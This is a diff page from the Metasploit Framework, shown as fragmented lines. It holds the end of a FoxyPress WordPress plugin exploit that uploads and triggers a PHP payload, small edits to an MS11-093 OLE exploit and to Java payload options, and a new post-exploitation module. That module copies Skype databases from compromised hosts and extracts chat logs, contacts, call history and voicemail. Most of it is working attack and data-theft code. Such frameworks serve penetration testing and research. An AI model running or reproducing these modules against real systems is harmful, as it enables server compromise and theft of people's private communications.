uri = target_uri.path
|
||||||
|
uri << '/' if uri[-1,1] != '/'
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php"
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.code == 200
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
else
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
|
||||||
|
uri = target_uri.path
|
||||||
|
uri << '/' if uri[-1,1] != '/'
|
||||||
|
|
||||||
|
peer = "#{rhost}:#{rport}"
|
||||||
|
|
||||||
|
post_data = Rex::MIME::Message.new
|
||||||
|
post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")
|
||||||
|
|
||||||
|
print_status("#{peer} - Sending PHP payload")
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php",
|
||||||
|
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
|
||||||
|
'data' => post_data.to_s
|
||||||
|
})
|
||||||
|
|
||||||
|
if not res or res.code != 200 or res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
|
||||||
|
print_error("#{peer} - File wasn't uploaded, aborting!")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...")
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => "#{uri}wp-content/affiliate_images/#{$1}.php"
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.code != 200
|
||||||
|
print_error("#{peer} - Server returned #{res.code.to_s}")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => "Microsoft Windows OLE Object File Handling Remote Code Execution",
|
'Name' => "MS11-093 Microsoft Windows OLE Object File Handling Remote Code Execution",
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits a type confusion vulnerability in the OLE32 component of
|
This module exploits a type confusion vulnerability in the OLE32 component of
|
||||||
Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple
|
Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple
|
||||||
|
@ -32,6 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
[ 'MSB', 'MS11-093'],
|
||||||
[ 'CVE', '2011-3400' ],
|
[ 'CVE', '2011-3400' ],
|
||||||
[ 'OSVDB', '77663'],
|
[ 'OSVDB', '77663'],
|
||||||
[ 'BID', '50977' ],
|
[ 'BID', '50977' ],
|
||||||
|
|
|
@ -192,7 +192,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
p = file.sub(path+'/','')
|
p = file.sub(path+'/','')
|
||||||
|
|
||||||
if File.directory?(file)
|
if File.directory?(file)
|
||||||
print_status("Packging directory: #{file}")
|
print_status("Packaging directory: #{file}")
|
||||||
zip.add_file(p)
|
zip.add_file(p)
|
||||||
else
|
else
|
||||||
on_file_read(p, file) do |fname, buf|
|
on_file_read(p, file) do |fname, buf|
|
||||||
|
|
|
@ -38,6 +38,7 @@ module Metasploit3
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
|
Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]),
|
||||||
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
|
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
|
||||||
], self.class
|
], self.class
|
||||||
)
|
)
|
||||||
|
@ -49,6 +50,15 @@ module Metasploit3
|
||||||
spawn = datastore["Spawn"] || 2
|
spawn = datastore["Spawn"] || 2
|
||||||
c = ""
|
c = ""
|
||||||
c << "Spawn=#{spawn}\n"
|
c << "Spawn=#{spawn}\n"
|
||||||
|
pass = datastore["AESPassword"] || ""
|
||||||
|
if pass != ""
|
||||||
|
c << "AESPassword=#{pass}\n"
|
||||||
|
@class_files = [
|
||||||
|
[ "metasploit", "AESEncryption.class" ],
|
||||||
|
]
|
||||||
|
else
|
||||||
|
@class_files = [ ]
|
||||||
|
end
|
||||||
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
|
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
|
||||||
|
|
||||||
c
|
c
|
||||||
|
|
|
@ -38,6 +38,7 @@ module Metasploit3
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
|
Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]),
|
||||||
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
|
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
|
||||||
], self.class
|
], self.class
|
||||||
)
|
)
|
||||||
|
@ -49,6 +50,15 @@ module Metasploit3
|
||||||
spawn = datastore["Spawn"] || 2
|
spawn = datastore["Spawn"] || 2
|
||||||
c = ""
|
c = ""
|
||||||
c << "Spawn=#{spawn}\n"
|
c << "Spawn=#{spawn}\n"
|
||||||
|
pass = datastore["AESPassword"] || ""
|
||||||
|
if pass != ""
|
||||||
|
c << "AESPassword=#{pass}\n"
|
||||||
|
@class_files = [
|
||||||
|
[ "metasploit", "AESEncryption.class" ],
|
||||||
|
]
|
||||||
|
else
|
||||||
|
@class_files = [ ]
|
||||||
|
end
|
||||||
c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
|
c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
|
||||||
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
|
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,318 @@
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# ## This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex'
|
||||||
|
require 'csv'
|
||||||
|
|
||||||
|
require 'msf/core/post/common'
|
||||||
|
require 'msf/core/post/file'
|
||||||
|
require 'msf/core/post/windows/user_profiles'
|
||||||
|
|
||||||
|
require 'msf/core/post/osx/system'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
include Msf::Post::Common
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Windows::UserProfiles
|
||||||
|
|
||||||
|
include Msf::Post::OSX::System
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super( update_info( info,
|
||||||
|
'Name' => 'Multi Gather Skype User Data Enumeration',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will enumerate the Skype accounts settings, contact list, call history, chat logs,
|
||||||
|
file transfer history and voicemail log saving all the data in to CSV files for analysis.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'Platform' => [ 'windows', 'osx' ],
|
||||||
|
'SessionTypes' => [ 'meterpreter', 'shell' ]
|
||||||
|
))
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
# Set as an advanced option since it can only be useful in shell sessions.
|
||||||
|
OptInt.new('TIMEOUT', [true ,'Timeout in seconds when downloading main.db on a shell session.', 90]),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Run Method for when run command is issued
|
||||||
|
def run
|
||||||
|
# syinfo is only on meterpreter sessions
|
||||||
|
print_status("Running module for Skype enumeration against #{sysinfo['Computer']}") if not sysinfo.nil?
|
||||||
|
|
||||||
|
# Ensure that SQLite3 gem is installed
|
||||||
|
begin
|
||||||
|
require 'sqlite3'
|
||||||
|
rescue LoadError
|
||||||
|
print_error("Failed to load sqlite3, try 'gem install sqlite3'")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
if (session.platform =~ /java/) || (session.platform =~ /osx/)
|
||||||
|
# Make sure a Java Meterpreter on anything but OSX will exit
|
||||||
|
if session.platform =~ /java/ and sysinfo['OS'] !~ /Mac OS X/
|
||||||
|
print_error("This session type and platform are not supported.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
# Iterate thru each user profile on as OSX System for users not in the default install
|
||||||
|
users = get_users.collect {|p| if p['uid'].to_i > 500; p; end }.compact
|
||||||
|
users.each do |p|
|
||||||
|
if check_skype("#{p['dir']}/Library/Application Support/", p['name'])
|
||||||
|
db_in_loot = download_db(p)
|
||||||
|
# Exit if file was not successfully downloaded
|
||||||
|
return if db_in_loot.nil?
|
||||||
|
process_db(db_in_loot,p['name'])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
elsif (session.platfom =~ /win/ and session.type =~ /meter/)
|
||||||
|
# Iterate thru each user profile in a Windows System using Meterpreter Post API
|
||||||
|
grab_user_profiles().each do |p|
|
||||||
|
if check_skype(p['AppData'],p['UserName'])
|
||||||
|
db_in_loot = download_db(p)
|
||||||
|
process_db(db_in_loot,p['UserName'])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error("This session type and platform are not supported.")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
# Check if Skype is installed. Returns true or false.
|
||||||
|
def check_skype(path, user)
|
||||||
|
dirs = []
|
||||||
|
if session.type =~ /meterpreter/
|
||||||
|
session.fs.dir.foreach(path) do |d|
|
||||||
|
dirs << d
|
||||||
|
end
|
||||||
|
else
|
||||||
|
dirs = cmd_exec("ls -m \"#{path}\"").split(", ")
|
||||||
|
end
|
||||||
|
dirs.each do |dir|
|
||||||
|
if dir =~ /Skype/
|
||||||
|
print_good("Skype account found for #{user}")
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
print_error("Skype is not installed for #{user}")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
# Download file using Meterpreter functionality and returns path in loot for the file
|
||||||
|
def download_db(profile)
|
||||||
|
if session.type =~ /meterpreter/
|
||||||
|
if sysinfo['OS'] =~ /Mac OS X/
|
||||||
|
file = session.fs.file.search("#{profile['dir']}/Library/Application Support/Skype/","main.db",true)
|
||||||
|
else
|
||||||
|
file = session.fs.file.search("#{profile['AppData']}\\Skype","main.db",true)
|
||||||
|
end
|
||||||
|
else
|
||||||
|
file = cmd_exec("mdfind","-onlyin #{profile['dir']} -name main.db").split("\n").collect {|p| if p =~ /Skype\/\w*\/main.db$/; p; end }.compact
|
||||||
|
end
|
||||||
|
|
||||||
|
file_loc = store_loot("skype.config",
|
||||||
|
"binary/db",
|
||||||
|
session,
|
||||||
|
"main.db",
|
||||||
|
"Skype Configuration database for #{profile['UserName']}"
|
||||||
|
)
|
||||||
|
|
||||||
|
file.each do |db|
|
||||||
|
if session.type =~ /meterpreter/
|
||||||
|
maindb = "#{db['path']}#{session.fs.file.separator}#{db['name']}"
|
||||||
|
print_status("Downloading #{maindb}")
|
||||||
|
session.fs.file.download_file(file_loc,maindb)
|
||||||
|
else
|
||||||
|
print_status("Downloading #{db}")
|
||||||
|
# Giving it 1:30 minutes to download since the file could be several MB
|
||||||
|
maindb = cmd_exec("cat", "\"#{db}\"", datastore['TIMEOUT'])
|
||||||
|
if maindb.nil?
|
||||||
|
print_error("Could not download the file. Set the TIMEOUT option to a higher number.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
# Saving the content as binary so it can be used
|
||||||
|
output = ::File.open(file_loc, "wb")
|
||||||
|
maindb.each_line do |d|
|
||||||
|
output.puts(d)
|
||||||
|
end
|
||||||
|
output.close
|
||||||
|
end
|
||||||
|
print_good("Configuration database saved to #{file_loc}")
|
||||||
|
end
|
||||||
|
return file_loc
|
||||||
|
end
|
||||||
|
|
||||||
|
# Saves rows returned from a query to a given CSV file
|
||||||
|
def save_csv(data,file)
|
||||||
|
CSV.open(file, "w") do |csvwriter|
|
||||||
|
data.each do |record|
|
||||||
|
csvwriter << record
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
# Extracts the data from the DB in to a CSV file
|
||||||
|
def process_db(db_path,user)
|
||||||
|
db = SQLite3::Database.new(db_path)
|
||||||
|
|
||||||
|
# Extract information for accounts configured in Skype
|
||||||
|
print_status("Enumerating accounts")
|
||||||
|
user_rows = db.execute2('SELECT "skypeout_balance_currency", "skypeout_balance", "skypeout_precision",
|
||||||
|
"skypein_numbers", "subscriptions", "offline_callforward", "service_provider_info",
|
||||||
|
datetime("timestamp","unixepoch")"registration_timestamp",
|
||||||
|
"nr_of_other_instances", "partner_channel_status", "flamingo_xmpp_status",
|
||||||
|
"owner_under_legal_age", "type", "skypename", "pstnnumber", "fullname",
|
||||||
|
"birthday", "gender", "languages", "country", "province", "city", "phone_home",
|
||||||
|
"phone_office", "phone_mobile", "emails", "homepage", "about",
|
||||||
|
datetime("profile_timestamp","unixepoch"), "received_authrequest",
|
||||||
|
"displayname", "refreshing", "given_authlevel", "aliases", "authreq_timestamp",
|
||||||
|
"mood_text", "timezone", "nrof_authed_buddies", "ipcountry",
|
||||||
|
"given_displayname", "availability", datetime("lastonline_timestamp","unixepoch"),
|
||||||
|
"assigned_speeddial", datetime("lastused_timestamp","unixepoch"),
|
||||||
|
"assigned_comment", "alertstring", datetime("avatar_timestamp","unixepoch"),
|
||||||
|
datetime("mood_timestamp","unixepoch"), "rich_mood_text", "synced_email",
|
||||||
|
"verified_email", "verified_company" FROM Accounts;')
|
||||||
|
|
||||||
|
# Check if an account exists and if it does enumerate if not exit.
|
||||||
|
if user_rows.length > 1
|
||||||
|
user_info = store_loot("skype.accounts",
|
||||||
|
"text/plain",
|
||||||
|
session,
|
||||||
|
"",
|
||||||
|
"skype_accounts.csv",
|
||||||
|
"Skype User #{user} Account information from configuration database."
|
||||||
|
)
|
||||||
|
print_good("Saving account information to #{user_info}")
|
||||||
|
save_csv(user_rows,user_info)
|
||||||
|
else
|
||||||
|
print_error("No skype accounts are configured for #{user}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
# Extract chat log from the database
|
||||||
|
print_status("Extracting chat message log")
|
||||||
|
cl_rows = db.execute2('SELECT "chatname", "convo_id", "author", "dialog_partner",
|
||||||
|
datetime("timestamp","unixepoch"), "body_xml",
|
||||||
|
"remote_id" FROM "Messages" WHERE type == 61;')
|
||||||
|
chat_log = store_loot("skype.chat",
|
||||||
|
"text/plain",
|
||||||
|
session,
|
||||||
|
"",
|
||||||
|
"skype_chatlog.csv",
|
||||||
|
"Skype User #{user} chat log from configuration database."
|
||||||
|
)
|
||||||
|
|
||||||
|
if cl_rows.length > 1
|
||||||
|
print_good("Saving chat log to #{chat_log}")
|
||||||
|
save_csv(cl_rows, chat_log)
|
||||||
|
else
|
||||||
|
print_error("No chat logs where found!")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Extract file transfer history
|
||||||
|
print_status("Extracting file transfer history")
|
||||||
|
ft_rows = db.execute2('SELECT "partner_handle", "partner_dispname",
|
||||||
|
datetime("starttime","unixepoch"), datetime("finishtime","unixepoch"),
|
||||||
|
"filepath", "filename", "filesize", "bytestransferred",
|
||||||
|
"convo_id", datetime("accepttime","unixepoch") FROM "Transfers";')
|
||||||
|
|
||||||
|
file_transfer = store_loot("skype.filetransfer",
|
||||||
|
"text/csv",
|
||||||
|
session,
|
||||||
|
"",
|
||||||
|
"skype_filetransfer.csv",
|
||||||
|
"Skype User #{user} file transfer history."
|
||||||
|
)
|
||||||
|
# Check that we have actual file transfers to report
|
||||||
|
if ft_rows.length > 1
|
||||||
|
print_good("Saving file transfer history to #{file_transfer}")
|
||||||
|
save_csv(ft_rows, file_transfer)
|
||||||
|
else
|
||||||
|
print_error("No file transfer history was found!")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Extract voicemail history
|
||||||
|
print_status("Extracting voicemail history")
|
||||||
|
vm_rows = db.execute2('SELECT "type", "partner_handle", "partner_dispname", "status",
|
||||||
|
"subject", datetime("timestamp","unixepoch"), "duration", "allowed_duration",
|
||||||
|
"playback_progress", "convo_id", "chatmsg_guid", "notification_id", "flags",
|
||||||
|
"size", "path", "xmsg" FROM "Voicemails";')
|
||||||
|
|
||||||
|
voicemail = store_loot("skype.voicemail",
|
||||||
|
"text/csv",
|
||||||
|
session,
|
||||||
|
"",
|
||||||
|
"skype_voicemail.csv",
|
||||||
|
"Skype User #{user} voicemail history."
|
||||||
|
)
|
||||||
|
|
||||||
|
if vm_rows.length > 1
|
||||||
|
print_good("Saving voicemail history to #{voicemail}")
|
||||||
|
save_csv(vm_rows, voicemail)
|
||||||
|
else
|
||||||
|
print_error("No voicemail history was found!")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Extracting call log
|
||||||
|
print_status("Extracting call log")
|
||||||
|
call_rows = db.execute2('SELECT datetime("begin_timestamp","unixepoch"),
|
||||||
|
"topic","host_identity", "mike_status", "duration", "soundlevel", "name",
|
||||||
|
"is_incoming", "is_conference", "is_on_hold",
|
||||||
|
datetime("start_timestamp","unixepoch"), "quality_problems", "current_video_audience",
|
||||||
|
"premium_video_sponsor_list", "conv_dbid" FROM "Calls";')
|
||||||
|
|
||||||
|
call_log = store_loot("skype.callhistory",
|
||||||
|
"text/csv",
|
||||||
|
session,
|
||||||
|
"",
|
||||||
|
"skype_callhistory.csv",
|
||||||
|
"Skype User #{user} call history."
|
||||||
|
)
|
||||||
|
if call_rows.length > 1
|
||||||
|
print_good("Saving call log to #{call_log}")
|
||||||
|
save_csv(call_rows, call_log)
|
||||||
|
else
|
||||||
|
print_error("No call log was found!")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Extracting contact list
|
||||||
|
print_status("Extracting contact list")
|
||||||
|
ct_rows = db.execute2('SELECT "skypename", "pstnnumber", "aliases", "fullname",
|
||||||
|
"birthday", "languages", "country", "province", "city", "phone_home",
|
||||||
|
"phone_office", "phone_mobile", "emails", "homepage", "about", "mood_text",
|
||||||
|
"ipcountry", datetime("lastonline_timestamp","unixepoch"), "displayname",
|
||||||
|
"given_displayname", "assigned_speeddial", "assigned_comment","assigned_phone1",
|
||||||
|
"assigned_phone1_label", "assigned_phone2", "assigned_phone2_label",
|
||||||
|
"assigned_phone3", "assigned_phone3_label", "popularity_ord", "isblocked",
|
||||||
|
"main_phone", "phone_home_normalized", "phone_office_normalized",
|
||||||
|
"phone_mobile_normalized", "verified_email", "verified_company"
|
||||||
|
FROM "Contacts";')
|
||||||
|
|
||||||
|
contact_log = store_loot("skype.contactlist",
|
||||||
|
"text/csv",
|
||||||
|
session,
|
||||||
|
"",
|
||||||
|
"skype_contactlist.csv",
|
||||||
|
"Skype User #{user} contact list."
|
||||||
|
)
|
||||||
|
if ct_rows.length > 1
|
||||||
|
print_good("Saving contact list to #{contact_log}")
|
||||||
|
save_csv(ct_rows, contact_log)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue